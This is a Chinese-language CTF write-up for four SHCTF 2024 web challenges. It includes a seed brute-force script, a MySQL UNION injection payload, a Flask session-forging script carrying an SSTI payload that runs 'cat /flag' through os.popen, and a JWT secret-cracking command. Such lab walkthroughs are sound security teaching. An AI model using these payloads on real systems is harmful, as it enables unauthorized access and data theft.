[SHCTF 2024]Web week2 合集¶
guess_the_number¶
给出了第一个数,要求写出第二个数。可以猜到和爆破有关,但是没有头绪。我们 f12 打开源代码,可以看到提示:源码在 /s0urce
里面。访问即可获得题目源代码。以下为核心代码:
def init():
global seed, first_num, second_num
seed = random.randint(1000000,9999999)
random.seed(seed)
first_num = random.randint(1000000000,9999999999)
second_num = random.randint(1000000000,9999999999)
可以看到,题目先是随机生成了一个 seed, 然后再使用这个 seed 连续生成了两个数字。根据伪随机的概念,对于同一个 seed 生成的随机数序列是固定的,那么我们只要找到这个 seed 就可以得到后面的数字了。
我们直接爆破,看看哪一个 seed 生成的第一个数字和题目给的第一个数字相同,即可得到 seed。
import random
for i in range(1000000, 9999999):
if i % 100000 == 0:
print(i)
random.seed(i)
first_num = random.randint(1000000000,9999999999)
if first_num == 7136740205:
print("Found it", random.randint(1000000000,9999999999))
break
注意 first_num
每一次做题的时候都会变化,注意改动。
自助查询¶
第一部分,mysql 的联合查询不解释,直接给出 payload:
得到提示:
这个提示一开始令我费解,sql 语句里为什么会有注释还可以被查到。后来看了一眼自己数据库的 sql 构建表,明白这个注释指的是针对于 table 或者 column 的注释。
最后的做法和查询字段一样,只是把查询的内容换了:
?id=-1") or 1=1 union select group_concat(column_comment),2 from information_schema.columns where table_schema=database()
唯一的区别就是把 column_name
换成了 column_comment
。
得到答案。
入侵者禁入¶
题目直接给出了源码,我们审计发现是一个 ssti 题目。但是在此之前,我们先需要通过 /admin
的访问验证。我们访问 /admin
,查看 cookie 中的 session 值,base64 解码之后,大概是这样的形式:
到这里我们就明白了,我们需要伪造 session, 把 is_admin
设置为 1, 这样 /admin
就会把我们的 flag
参数进行渲染,从而完成 ssti 的攻击。
首先先需要伪造 session 值,以下为脚本,main 函数之前的内容都是可以复用的,直接保存即可:
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
class FSCM:
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
@staticmethod
def decode(session_cookie_value, secret_key=None):
try:
if secret_key is None:
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
if __name__ == "__main__":
key = "0day_joker"
content = '''{"role":{"flag":"{{lipsum.__globals__['os'].popen('cat /flag').read()}}","is_admin":1}}'''
print(FSCM.encode(key, content))
核心代码就是 FSCM.encode(key, content)
,具体的含义其实挺明显的,把题目中给出的 secret_key
和我们需要的 content
填入其中即可,顺便再完成 ssti 的任务。
登录验证¶
通过爆破,获得账号密码都是 admin
。题目提示: 你不是真正的 admin。
根据提示查看 cookie, 有一个 token, 是 jwt 的形式。我们需要修改这个 jwt 的内容,首先就要先获得他的 secret_key 。
我们利用 jwt_crack 这个工具,官网来自于 https://github.com/brendan-rius/c-jwt-cracker, 克隆下来,构建成 docker 镜像。
然后就是直接爆破他的 secret_key。当时我并没有爆破出来,查看答案才知道,我们可以通过第二个参数限制一下爆破的字符。就像这样:
docker run -it --rm jwtcrack:latest eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzAwODQzOTEsImlhdCI6MTczMDA3NzE5MSwibmJmIjoxNzMwMDc3MTkxLCJyb2xlIjoidXNlciJ9.xPNMy0bnmcgDC3h78SBYAwrAEsoCB-i-mCNDaBGY6Pw 0123456789
得到结果为 222333
。所以我们就可以利用这个 secret_key 修改 jwt 的内容了。利用 jwt sign 的功能,签名以下内容:
把 token 改一下即可
文章热度:0次阅读